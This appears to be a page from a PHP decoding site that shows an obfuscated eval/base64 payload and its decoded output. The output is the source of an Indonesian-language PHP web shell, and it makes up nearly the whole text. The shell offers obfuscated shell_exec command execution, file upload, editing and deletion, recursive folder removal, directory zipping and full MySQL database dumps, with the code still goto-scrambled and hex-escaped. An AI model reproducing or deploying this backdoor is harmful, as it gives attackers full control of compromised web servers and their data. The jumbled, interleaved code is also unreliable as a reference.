Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?><?php eval(base64_decode('CiBnb3RvIGgyVjlfOyBGa2ljXzogZWNobyB1cmxlbmNvZGUodXJsZW5jb2RlKG..

Decoded Output download


 goto h2V9_; Fkic_: echo urlencode(urlencode(kunci($default_dir))); goto aY4FZ; C7paI: ?>
");
	}
}
function skl_bas()
{
	var sklEmr = document.getElementById('skl_emr').value;
	
	halaman("?awal=skl&emr=" + b64EncodeUnicode(sklEmr));
}
function b64EncodeUnicode(str)
{
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
		}));
}
function goto()
{
	var dir = prompt('Dir:');
	if( dir )
	{
		halaman("?berkas=" + dir);
	}
}
function kompres(berkas)
{
	var dir = prompt('Dir:' , "<?php  goto B0idR; cLRCe: tulisLah(); goto GiKED; tI111: ?>
");
	if( dir )
	{
		halaman("?awal=kompres&berkas=<?php  goto L53XD; Uj8Ik: function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "\x2e" && $object != "\56\x2e") { if (is_dir($dir . "\57" . $object)) { rrmdir($dir . "\57" . $object); } else { unlink($dir . "\x2f" . $object); } } } rmdir($dir); } } goto Ohpn1; NTuYv: ?>

<hr>
<a href="javascript:newFile();">File Baru</a> | <a href="javascript:newPapka();">Folder Baru</a><br>
<a href="javascript:halaman('?awal=sistem_kom&berkas=<?php  goto Fkic_; caQk0: ?>
&zf=" + berkas + "&save_to=" + b64EncodeUnicode(dir))
	}
}
function silPapka(berkas)
{
	if( confirm('Anda yakin?') )
	{
		halaman("?awal=hapus_folder&berkas=<?php  goto gkzLp; I9I3L: if (isset($_POST["\x70\141\163\163\x77\x6f\162\144"])) { if (password_verify($_POST["\160\x61\163\x73\167\157\x72\x64"], $hashedPassword)) { $_SESSION["\154\157\x67\147\x65\x64\111\156"] = true; echo "\74\160\76\114\x6f\147\151\156\40\x73\x75\x63\x63\x65\163\163\x66\x75\154\x21\74\57\x70\x3e"; } } goto zFQLu; MVL3A: echo urlencode(urlencode(kunci($default_dir))); goto O2NTe; NM5jY: $safeMode = true; goto pAMxS; Ohpn1: $default_dir = getcwd(); goto NdpqT; dF3DB: if (function_exists("\x70\x6f\163\x69\170\137\x67\x65\x74\145\x67\x69\x64")) { $qid = posix_getgrgid(posix_getegid()); $qrup = $qid["\x6e\x61\x6d\x65"]; print "\x3c\163\x70\141\156\x20\143\154\x61\163\x73\x3d\x27\161\x61\x6c\151\x6e\x27\76\x55\156\x61\155\x65\x3a\74\x2f\x73\x70\141\156\76\40" . php_uname() . "\x3c\142\x72\57\x3e"; print "\x3c\163\160\x61\156\x20\x63\154\x61\x73\163\75\47\161\x61\x6c\x69\x6e\47\x3e\125\x73\145\162\x3a\x3c\57\163\160\x61\156\x3e\x20" . getmyuid() . "\40\x28" . get_current_user() . "\x29\74\x62\162\x2f\76"; print "\74\x73\x70\x61\x6e\x20\x63\x6c\x61\163\x73\75\x27\x71\141\x6c\151\156\x27\76\x47\162\x6f\x75\x70\x3a\74\57\163\160\141\156\76\x20" . getmygid() . "\x20\x28" . $qrup . "\51\x3c\x62\162\x2f\76"; } else { print "\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x27\161\141\x6c\x69\156\x27\76\125\x6e\x61\155\x65\x3a\x3c\57\163\160\x61\x6e\x3e\x20" . php_uname() . "\74\x62\x72\x2f\x3e"; print "\x3c\x73\x70\141\x6e\40\x63\x6c\x61\x73\163\75\x27\x71\x61\154\151\156\47\x3e\125\163\x65\162\x3a\x3c\57\x73\x70\x61\x6e\x3e\x20" . getmyuid() . "\40\50" . get_current_user() . "\51\x3c\x62\162\57\76"; print "\x3c\x73\160\x61\156\x20\x63\x6c\141\163\x73\x3d\47\x71\x61\x6c\151\156\47\76\x47\x72\157\165\x70\x3a\x3c\57\x73\x70\141\156\x3e\x20" . getmygid() . "\x3c\x62\162\57\x3e"; } goto FocuE; RyvPc: print "\74\x73\160\x61\156\40\x63\154\x61\x73\163\x3d\x27\x71\x61\x6c\151\156\x27\x3e\123\x61\146\145\x20\155\x6f\144\145\72\40\74\x2f\163\x70\x61\x6e\x3e" . ($safeMode === true ? "\74\x73\160\x61\x6e\x20\x63\154\x61\163\x73\75\x27\x62\x61\144\x27\76\x4f\156" : "\x3c\163\x70\141\156\x20\x63\x6c\x61\x73\x73\x3d\x27\163\x75\143\x63\x65\x73\163\47\76\117\146\146") . "\74\57\163\x70\141\156\x3e\74\163\x70\141\x6e\x20\163\164\x79\154\145\75\x27\x6d\141\162\147\x69\x6e\x2d\x6c\145\x66\x74\72\x20\x35\x30\x70\170\x3b\47\x3e\74\x61\40\x68\x72\145\146\x3d\47\152\141\166\x61\x73\x63\x72\x69\160\164\x3a\150\141\x6c\141\155\141\156\50\x22\77\x61\167\141\x6c\x3d\160\x68\160\x69\156\x66\x6f\x22\x29\x27\x3e\x5b\x20\120\110\x50\x69\x6e\146\x6f\x20\x5d\74\x2f\x61\x3e\x3c\57\163\160\141\x6e\76\x3c\142\x72\x2f\76"; goto cLRCe; solvS: if (isset($_GET["\x61\167\x61\x6c"]) && $_GET["\141\x77\141\x6c"] == "\x70\151\x6e\146") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("\142\157\144\x79\x20\x7b\142\x61\x63\153\147\x72\157\165\156\144\x2d\143\x6f\154\157\162\72\40\x23\146\146\x66\146\x66\146\73\40\x63\157\x6c\157\x72\72\x20\43\60\x30\60\60\60\60\x3b\x7d", '', $pInf); die; } else { if ($awal == "\x64\157\x77\x6e\x6c\x6f\x61\144\137\146\151\x6c\145" && isset($_POST["\146\141\x79\x6c"]) && '' != trim($_POST["\146\x61\171\154"])) { $namaBerkas = basename(uraikan(urldecode($_POST["\x66\x61\x79\x6c"]))); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($namaBerkas, 0, 1) != "\57" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { header("\103\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\x73\151\164\x69\157\156\72\x20\x61\x74\164\141\x63\150\x6d\145\x6e\x74\73\40\146\151\x6c\145\156\x61\x6d\145\75" . basename($namaBerkas)); header("\103\x6f\x6e\x74\x65\x6e\164\55\x54\171\160\x65\x3a\x20\141\x70\160\154\151\x63\x61\x74\x69\x6f\156\57\x6f\x63\x74\145\164\x2d\x73\x74\162\x65\x61\155"); header("\103\157\x6e\164\x65\x6e\x74\55\x4c\x65\x6e\x67\164\150\x3a\x20" . filesize($default_dir . $pemisah . $namaBerkas)); readfile($default_dir . $pemisah . $namaBerkas); die; } } else { if ($awal == "\150\141\160\165\163\x5f\x66\151\x6c\145" && isset($_POST["\x66\141\171\x6c"]) && '' != trim($_POST["\146\x61\171\x6c"])) { $namaBerkas = basename(uraikan(urldecode($_POST["\146\x61\171\154"]))); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($namaBerkas, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { unlink($default_dir . $pemisah . $namaBerkas); } } else { if ($awal == "\162\145\x73\x65\164\x5f\x66\151\x6c\x65" && isset($_POST["\x66\x61\x79\154"]) && '' != trim($_POST["\146\141\x79\x6c"])) { $namaBerkas = basename(uraikan(urldecode($_POST["\146\x61\171\154"]))); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($namaBerkas, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { file_put_contents($default_dir . $pemisah . $namaBerkas, ''); } } else { if ($awal == "\142\165\x61\164\137\x66\x69\x6c\145" && isset($_POST["\x61\144"]) && !empty($_POST["\x61\144"])) { $namaBerkas = basename(urldecode($_POST["\x61\144"])); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($namaBerkas, 0, 1) != "\57" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas)) { print "\x3c\x73\x63\x72\x69\160\x74\76\x61\x6c\145\162\164\50\x22\x46\151\x6c\x65\40\x64\145\156\147\x61\x6e\x20\x6e\x61\155\141\40\151\x6e\x69\40\x73\165\144\x61\150\x20\x61\x64\141\x21\42\51\73\x3c\x2f\x73\x63\x72\151\x70\x74\x3e"; } else { file_put_contents($default_dir . $pemisah . $namaBerkas, ''); } } else { if ($awal == "\142\x75\141\x74\137\x66\x6f\x6c\x64\x65\x72" && isset($_POST["\x61\144"]) && !empty($_POST["\x61\x64"])) { $namaFolder = basename(urldecode($_POST["\141\144"])); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($namaFolder, 0, 1) != "\x2f" ? "\57" : ''; if (is_file($default_dir . $pemisah . $namaFolder)) { print "\74\163\143\162\x69\160\x74\x3e\141\154\145\x72\164\50\42\106\157\154\144\x65\162\40\144\145\156\x67\x61\x6e\x20\156\x61\x6d\141\40\x69\x6e\151\40\163\x75\144\141\150\40\141\144\x61\41\x22\51\x3b\74\57\163\x63\162\x69\160\164\76"; } else { mkdir($default_dir . $pemisah . $namaFolder); } } else { if ($awal == "\x72\x65\156\x61\155\145\x5f\x66\x69\154\145" && isset($_POST["\x66\x61\x79\154"]) && '' != trim($_POST["\146\141\x79\154"]) && isset($_POST["\156\x65\x77\x5f\x6e\x61\x6d\145"]) && is_string($_POST["\156\145\167\137\x6e\x61\x6d\x65"]) && !empty($_POST["\156\145\167\137\156\141\155\145"])) { $namaBerkas = basename(uraikan(urldecode($_POST["\x66\x61\171\154"]))); $fileNamaBaru = basename(urldecode($_POST["\156\145\167\137\x6e\x61\x6d\145"])); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($namaBerkas, 0, 1) != "\57" ? "\57" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { rename($default_dir . $pemisah . $namaBerkas, $default_dir . $pemisah . $fileNamaBaru); } } else { if ($awal == "\x73\153\x6c\x5f\x64\137\164" && isset($_POST["\x74"]) && is_string($_POST["\164"]) && !empty($_POST["\x74"])) { $tableName = uraikan(urldecode($_POST["\164"])); $host = isset($_COOKIE["\x68\157\163\x74"]) ? $_COOKIE["\x68\x6f\x73\164"] : ''; $user = isset($_COOKIE["\x75\163\x65\162"]) ? $_COOKIE["\x75\x73\145\162"] : ''; $sandi = isset($_COOKIE["\x73\141\156\x64\x69"]) ? $_COOKIE["\x73\141\156\x64\151"] : ''; $database = isset($_COOKIE["\x64\141\x74\x61\142\x61\163\145"]) ? $_COOKIE["\x64\x61\x74\x61\x62\141\163\145"] : ''; $databaseStr = empty($database) ? '' : "\144\x62\156\141\155\x65\75" . $database . "\73"; if (!empty($host) && !empty($database)) { try { $pdo = new PDO("\155\x79\x73\161\x6c\72\x68\x6f\163\x74\75" . $host . "\73\143\150\x61\x72\x73\x65\x74\75\165\164\146\70\x3b" . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\123\x45\124\x20\116\x41\115\105\x53\x20\47\x75\164\146\x38\x27")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("\x53\105\x4c\105\103\124\x20\143\x6f\154\x75\155\156\137\156\x61\x6d\x65\x20\x66\162\157\155\x20\x69\x6e\146\157\162\155\141\x74\x69\x6f\x6e\137\x73\143\x68\145\x6d\141\56\x63\x6f\154\x75\155\156\163\x20\x77\x68\145\x72\145\x20\164\141\142\x6c\x65\137\163\x63\150\x65\x6d\141\x3d\x3f\40\x61\x6e\x64\x20\164\x61\x62\154\145\137\156\x61\155\x65\75\77"); $getColumns->execute(array($database, $tableName)); $columns = $getColumns->fetchAll(); if ($columns) { $data = $pdo->query("\123\105\114\x45\x43\124\40\52\x20\106\x52\x4f\x4d\40\x60" . $tableName . "\140"); $data = $data->fetchAll(); header("\x43\157\x6e\164\x65\156\164\55\x64\151\163\160\157\163\x69\x74\x69\157\156\x3a\40\x61\164\x74\x61\x63\x68\155\x65\x6e\164\73\40\146\151\154\145\x6e\141\x6d\145\x3d\144\x5f" . basename(htmlspecialchars($tableName)) . "\56\x6a\163\157\156"); header("\103\157\156\x74\145\156\x74\x2d\164\171\x70\x65\x3a\40\x61\x70\160\x6c\151\143\141\164\151\157\x6e\x2f\x6a\163\157\x6e"); echo json_encode($data); } else { print "\x54\x61\x62\x6c\145\x20\x6e\157\x74\40\146\157\x75\x6e\144\x21"; } } catch (Exception $e) { print $e->getMessage(); } } else { print "\x45\x72\x72\x6f\162\41\x20\x50\x6c\x65\x61\x73\x65\x20\143\x6f\156\x6e\145\x63\164\40\x74\157\40\x53\121\114\41"; } die; } else { if ($awal == "\163\x6b\154\137\x64") { $host = isset($_COOKIE["\x68\157\163\x74"]) ? $_COOKIE["\x68\157\x73\x74"] : ''; $user = isset($_COOKIE["\165\x73\x65\162"]) ? $_COOKIE["\x75\x73\145\x72"] : ''; $sandi = isset($_COOKIE["\x73\141\156\144\x69"]) ? $_COOKIE["\163\x61\156\x64\151"] : ''; $database = isset($_COOKIE["\144\x61\x74\141\142\x61\x73\x65"]) ? $_COOKIE["\144\x61\164\141\142\141\x73\x65"] : ''; $databaseStr = empty($database) ? '' : "\144\x62\156\x61\x6d\x65\75" . $database . "\x3b"; if (!empty($host) && !empty($database)) { try { $pdo = new PDO("\x6d\x79\163\161\x6c\x3a\x68\157\163\x74\x3d" . $host . "\x3b\143\150\x61\x72\163\x65\164\75\165\x74\146\x38\x3b" . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\123\x45\124\x20\116\101\x4d\x45\x53\x20\47\x75\164\146\70\47")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare("\123\x45\x4c\105\103\x54\x20\164\141\142\x6c\x65\137\x6e\x61\155\145\x20\x66\162\x6f\x6d\x20\x69\x6e\x66\157\162\x6d\141\x74\x69\157\x6e\137\163\143\x68\x65\155\141\56\164\141\x62\x6c\x65\x73\40\x77\150\145\x72\145\40\x74\x61\x62\154\145\137\163\x63\x68\145\155\x61\75\77"); $tables->execute(array($database)); $tables = $tables->fetchAll(); foreach ($tables as $tableName) { $tableName = $tableName["\x74\x61\x62\x6c\x65\137\156\141\x6d\145"]; $data = $pdo->query("\x53\x45\x4c\x45\x43\x54\x20\52\x20\x46\122\x4f\115\40\x60" . $tableName . "\140"); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header("\103\x6f\156\x74\145\156\164\55\x64\x69\x73\160\157\163\x69\x74\151\157\x6e\x3a\x20\x61\164\x74\x61\x63\150\155\145\156\x74\x3b\x20\x66\x69\154\x65\156\x61\155\x65\x3d\144\137\x62\x5f" . basename(htmlspecialchars($database)) . "\x2e\152\163\x6f\x6e"); header("\103\x6f\x6e\164\x65\156\x74\55\x74\x79\x70\x65\72\x20\141\160\160\154\x69\x63\141\164\151\157\x6e\x2f\x6a\163\157\x6e"); echo json_encode(utf8ize($allData)); } catch (Exception $e) { print $e->getMessage(); } } else { print "\105\x72\162\x6f\x72\41\x20\x50\x6c\x65\x61\x73\145\x20\x63\x6f\156\156\145\143\x74\x20\164\x6f\40\123\121\x4c\41"; } die; } else { if ($awal == "\153\157\x6d\x70\162\145\x73" && isset($_POST["\x73\x61\x76\145\x5f\x74\157"], $_POST["\172\x66"]) && is_string($_POST["\163\x61\166\145\137\x74\x6f"]) && !empty($_POST["\x73\141\x76\x65\x5f\x74\157"]) && !in_array($_POST["\x73\141\166\145\x5f\x74\157"], array("\56", "\x2e\56", "\56\x2f", "\x2e\56\x2f")) && is_string($_POST["\172\x66"]) && !empty($_POST["\172\146"])) { $save_to = uraikan(urldecode($_POST["\x73\x61\x76\x65\x5f\164\x6f"])); $rootPath = realpath(uraikan(urldecode($_POST["\172\x66"]))); $fileName1 = "\x62\141\x6b\137" . microtime(1) . "\x5f" . rand(1000, 99999) . "\x2e\172\151\160"; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if (is_dir($save_to) && is_dir($rootPath) && is_writable($save_to)) { set_time_limit(0); $zip = new ZipArchive(); $zip->open($fileName, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print "\123\x61\166\x65\144\x21\74\150\x72\x3e"; } else { print "\x44\x69\162\x20\x69\x73\40\x6e\x6f\164\x20\x77\162\151\x74\145\x61\142\154\x65\x21\x3c\150\162\x3e"; var_dump($save_to); } } else { if ($awal == "\x68\141\160\165\163\137\x66\x6f\x6c\x64\x65\162" && isset($_POST["\x7a\x66"]) && is_string($_POST["\172\146"]) && !empty($_POST["\172\146"])) { $rootPath = realpath(uraikan(urldecode($_POST["\172\x66"]))); if (is_dir($rootPath)) { set_time_limit(0); rrmdir($rootPath); } else { print "\104\x69\162\40\x69\x73\40\x6e\x6f\x74\x20\167\x72\x69\164\145\x61\x62\x6c\x65\41\74\x68\162\76"; var_dump($save_to); } } else { if ($awal == "\165\x70\154\x5f\x66\x69\x6c\x65" && isset($_FILES["\x75\146\x69\154\145"])) { move_uploaded_file($_FILES["\x75\146\151\154\145"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"], $default_dir . "\57" . $_FILES["\x75\146\x69\x6c\145"]["\156\x61\x6d\145"]); print "\x54\141\155\160\x61\153\156\171\x61\x20\x74\x65\x6c\x61\150\40\x64\x69\x75\x6e\147\147\141\x68\56"; } } } } } } } } } } } } goto pdDhL; iuLva: echo urlencode(kunci($default_dir)); goto ZYt0O; dGims: function sizeFormat($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . "\x20\x47\142"; } else { if ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . "\x20\x4d\x62"; } else { if ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . "\40\113\142"; } else { $bytes = $bytes . "\x20\x62"; } } } return $bytes; } goto Z1Wre; fYBIn: function uraikan($str) { $f = "\x62\x61\163"; $f .= "\145\66"; $f .= "\x34\x5f"; $f .= "\x64"; $f .= "\145\143"; $f .= "\157\144\145"; return $f($str); } goto vQPAv; dPMvO: if (!isset($_SESSION["\154\x6f\x67\147\x65\x64\x49\x6e"])) { $_SESSION["\154\x6f\x67\x67\145\144\x49\x6e"] = false; } goto I9I3L; OUK0a: session_start(); goto Yp0hu; f6D1Y: set_time_limit(0); goto Dg8bj; B0idR: echo htmlspecialchars($default_dir); goto tI111; gkzLp: echo urlencode(urlencode(kunci($default_dir))); goto Oe4lN; Dg8bj: session_start(); goto dPMvO; Yp0hu: $nami = explode("\54", ''); goto NM5jY; pAMxS: $actions = array("\144\141\163\141\162", "\142\141\143\x61\x5f\x66\x69\x6c\145", "\160\x68\160\151\x6e\x66\x6f", "\x73\151\x73\164\145\x6d\137\x6b\157\155", "\x65\144\151\164\x5f\x66\151\x6c\145", "\x64\x6f\x77\x6e\154\157\x61\x64\137\x66\x69\x6c\145", "\x68\141\x70\x75\163\x5f\146\151\154\x65", "\142\x75\x61\164\137\x66\x69\154\145", "\142\x75\x61\164\x5f\x66\157\154\144\x65\162", "\x72\x65\163\x65\x74\137\x66\151\x6c\x65", "\x68\141\x70\x75\x73\x5f\146\157\x6c\x64\x65\162", "\x72\x65\x6e\x61\155\x65\137\146\x69\x6c\x65", "\x6b\157\x6d\x70\x72\x65\x73", "\x73\x6b\x6c", "\163\x6b\x6c\x5f\144\x5f\164", "\163\153\154\x5f\x64", "\x75\160\x6c\137\146\151\154\145"); goto MxdX2; A5NN1: ?>
");
	}
}
function newPapka()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		halaman("?awal=buat_folder&ad=" + getNewName + "&berkas=<?php  goto MVL3A; NdpqT: if (isset($_POST["\x62\x65\x72\x6b\141\x73"]) && is_string($_POST["\142\x65\162\153\141\x73"])) { $default_dir = empty($_POST["\x62\x65\x72\153\x61\163"]) ? DIRECTORY_SEPARATOR : uraikan(urldecode(urldecode($_POST["\142\145\x72\x6b\x61\163"]))); $c_h_dir_comm = "\x63" . "\x68\x64" . "\x69\162"; $c_h_dir_comm($default_dir); } goto UFLkn; L53XD: echo urlencode(urlencode(kunci($default_dir))); goto caQk0; O2NTe: ?>
");
	}
}
function sistemKom()
{
	var komanda = document.getElementById('emr_et_atash').value;
	if( komanda )
	{
		halaman("?awal=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&berkas=<?php  goto wBD9l; Z1Wre: function utf8ize($d) { if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else { if (is_string($d)) { return utf8_encode($d); } } return $d; } goto Uj8Ik; agZbm: function kunci($str) { $f = "\142\x61\163"; $f .= "\145\x36"; $f .= "\64\137"; $f .= "\145"; $f .= "\156\143"; $f .= "\x6f\x64\x65"; return $f($str); } goto fYBIn; vQPAv: function ambilBuat($tAd) { if (isset($_SESSION[$tAd])) { unset($_SESSION[$tAd]); } $baruAmbil = md5(kunci(time() . rand(1, 99999999))); $_SESSION[$tAd] = $baruAmbil; return $baruAmbil; } goto xKW7_; hRxO2: echo urlencode(urlencode(kunci($default_dir))); goto A5NN1; ZYt0O: ?>
">
	<input type="file" name="ufile">
	<input type="submit" value="Upl">
</form>

<form method="POST" id="post_form" style="display: none;"></form>
<script>
function halaman(url)
{
	var inputlar = "";
	url = url.split("?");
	if(typeof url[1]=="undefined") return;
	url = url[1].split("&");
	for(var n in url)
	{
		var keyAndValue = url[n].split("=");
		if(typeof keyAndValue[1]=="undefined") continue;
		inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
	}
	document.all("post_form").innerHTML = inputlar;
	document.all("post_form").submit();
}
function faylSil(url)
{
	if( confirm('Anda yakin?') )
	{
		halaman(url);
	}
}
function faylSifirla(url)
{
	if( confirm('Anda yakin?') )
	{
		halaman(url);
	}
}
function changeFileName(name, url)
{
	var getNewName = prompt('Change file name:' , name);
	if( getNewName )
	{
		halaman(url + "&new_name=" + getNewName);
	}
}
function newFile()
{
	var getNewName = prompt('File name:');
	if( getNewName )
	{
		halaman("?awal=buat_file&ad=" + getNewName + "&berkas=<?php  goto hRxO2; MxdX2: $awal = isset($_POST["\141\x77\x61\154"]) && in_array($_POST["\x61\x77\141\154"], $actions) ? $_POST["\x61\167\x61\x6c"] : "\x64\x61\163\141\162"; goto agZbm; wBD9l: echo urlencode(urlencode(kunci($default_dir))); goto C7paI; TO_CV: if ($awal == "\x70\150\x70\x69\156\146\157") { print "\74\144\x69\166\x20\x73\164\171\x6c\145\x3d\x27\167\x69\x64\164\x68\x3a\x20\61\60\x30\x25\73\40\150\x65\x69\147\150\x74\72\40\64\60\x30\160\170\x3b\x27\x3e\x3c\151\x66\162\x61\x6d\x65\x20\x73\x72\143\75\x27\77\x61\x77\141\154\x3d\160\151\x6e\146\47\40\163\x74\171\x6c\x65\x3d\47\x77\151\144\x74\150\72\x20\61\60\60\45\x3b\40\150\145\x69\x67\150\x74\72\x20\x34\60\60\x70\170\73\x20\142\157\162\144\x65\162\x3a\40\x30\x3b\x27\x3e\x3c\57\151\x66\x72\141\x6d\x65\x3e\x3c\57\144\x69\x76\76"; } else { if ($awal == "\163\x69\x73\x74\x65\155\137\x6b\x6f\155") { if (isset($_POST["\x6b\x6f\155"]) && is_string($_POST["\153\157\155"]) && !empty($_POST["\153\x6f\x6d"])) { $komanda = uraikan(urldecode($_POST["\x6b\157\x6d"])); $k = "\163\x68"; $k .= "\145\x6c"; $k .= "\154\137\145"; $k .= "\170\x65"; $k .= "\x63"; $output = $k($komanda); print "\74\160\162\145\40\163\164\171\154\145\75\x22\x6d\141\170\55\x68\145\151\147\x68\x74\72\40\x33\x35\x30\x70\170\x3b\157\x76\x65\x72\x66\x6c\x6f\x77\x3a\x20\141\165\x74\157\73\40\x62\157\162\144\145\162\72\40\x31\x70\x78\x20\163\x6f\154\x69\x64\40\x23\x37\67\67\x3b\40\x70\x61\x64\144\x69\156\147\72\x20\x35\160\x78\x3b\42\76" . htmlspecialchars($output) . "\74\x2f\x70\162\145\x3e\74\150\162\x3e"; } print "\x3c\151\x6e\x70\x75\164\x20\164\x79\x70\x65\x3d\42\x74\x65\170\x74\x22\x20\151\x64\75\x22\145\155\162\137\145\x74\137\141\x74\141\x73\x68\42\40\163\164\x79\x6c\x65\75\x22\x77\151\144\x74\150\x3a\40\x35\x30\60\x70\170\73\42\x3e\x20\x3c\x62\x75\164\x74\157\156\x20\164\171\160\x65\x3d\x22\142\165\164\164\157\156\x22\40\x63\154\x61\163\x73\75\42\x62\x74\x6e\42\x20\157\156\x63\x6c\151\143\153\75\x22\x73\x69\163\x74\145\x6d\x4b\157\x6d\50\51\x3b\x22\x3e\x45\156\164\145\x72\x3c\x2f\x62\165\x74\x74\x6f\156\x3e"; } else { if ($awal == "\x62\141\x63\141\x5f\x66\151\x6c\x65" && isset($_POST["\146\141\x79\x6c"]) && '' != trim($_POST["\x66\x61\171\x6c"])) { $namaBerkas = basename(uraikan(urldecode($_POST["\146\x61\171\154"]))); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($namaBerkas, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "\40\157\x6e\143\x6c\151\143\153\75\x27\150\141\154\141\x6d\141\x6e\x28\42\77\141\167\141\x6c\75\x65\x64\151\x74\137\146\x69\154\x65\46\146\x61\171\154\75" . urlencode(urlencode(kunci($namaBerkas))) . "\46\x62\145\162\153\141\x73\75" . urlencode(urlencode(kunci($default_dir))) . "\x22\51\47" : "\40\x64\151\x73\x61\142\154\x65\144"; print "\x3c\144\x69\x76\76\116\141\x6d\141\x20\106\x69\154\x65\x3a\40\74\163\160\141\x6e\40\x63\x6c\x61\x73\x73\75\x27\161\x61\x6c\x69\x6e\x27\x3e" . htmlspecialchars($namaBerkas) . "\74\57\x73\x70\x61\156\x3e\74\142\162\57\x3e\x3c\x62\x75\164\164\157\156\x20\143\154\x61\x73\x73\75\x27\x62\x74\156\x27{$elaveBtn}\76\x20\105\x64\151\164\40\74\x2f\142\165\x74\164\x6f\x6e\x3e\x3c\x2f\x64\151\x76\76"; print "\x3c\x64\x69\x76\40\x63\154\141\x73\x73\75\47\142\141\143\x61\x5f\x66\x69\x6c\x65\x27\x3e" . highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true) . "\74\x2f\x64\x69\x76\x3e"; } } else { if ($awal == "\x73\x6b\x6c") { $host = isset($_COOKIE["\x68\x6f\163\164"]) ? $_COOKIE["\150\x6f\x73\164"] : ''; $user = isset($_COOKIE["\x75\163\x65\x72"]) ? $_COOKIE["\165\163\x65\162"] : ''; $sandi = isset($_COOKIE["\x73\x61\156\x64\x69"]) ? $_COOKIE["\163\x61\156\x64\x69"] : ''; $database = isset($_COOKIE["\x64\141\x74\141\x62\x61\163\x65"]) ? $_COOKIE["\x64\x61\x74\x61\x62\141\163\145"] : ''; if (isset($_POST["\150\x6f\x73\164"], $_POST["\165\x73\145\162"], $_POST["\x73\141\156\144\x69"]) && is_string($_POST["\x68\157\163\164"]) && is_string($_POST["\165\163\x65\x72"]) && is_string($_POST["\x73\141\x6e\x64\x69"])) { $host = $_POST["\x68\x6f\x73\164"]; $user = $_POST["\165\163\145\162"]; $sandi = $_POST["\x73\x61\x6e\x64\x69"]; $database = ''; setcookie("\150\157\163\x74", $host, time() + 360000); setcookie("\x75\x73\x65\162", $user, time() + 360000); setcookie("\163\x61\x6e\x64\151", $sandi, time() + 360000); setcookie("\144\141\x74\141\142\141\163\x65", $database, time() + 360000); } if (isset($_POST["\x64\x61\x74\x61\142\141\x73\145"]) && is_string($_POST["\x64\141\164\141\142\141\x73\x65"])) { $database = $_POST["\144\141\x74\x61\x62\141\163\x65"]; setcookie("\x64\x61\164\x61\142\x61\x73\x65", $database, time() + 360000); } $databaseStr = empty($database) ? '' : "\144\142\156\x61\155\x65\75" . $database . "\73"; ?>
	<form method="POST">
		<input type="hidden" name="awal" value="skl">
		<input type="text" placeholder="Hostname" name="host" value="<?php  echo htmlspecialchars($host); ?>
">
		<input type="text" placeholder="User" name="user" value="<?php  echo htmlspecialchars($user); ?>
">
		<input type="text" placeholder="Sandi" name="sandi" value="<?php  echo htmlspecialchars($sandi); ?>
">
		<input type="submit" value="Masuk">
	</form>
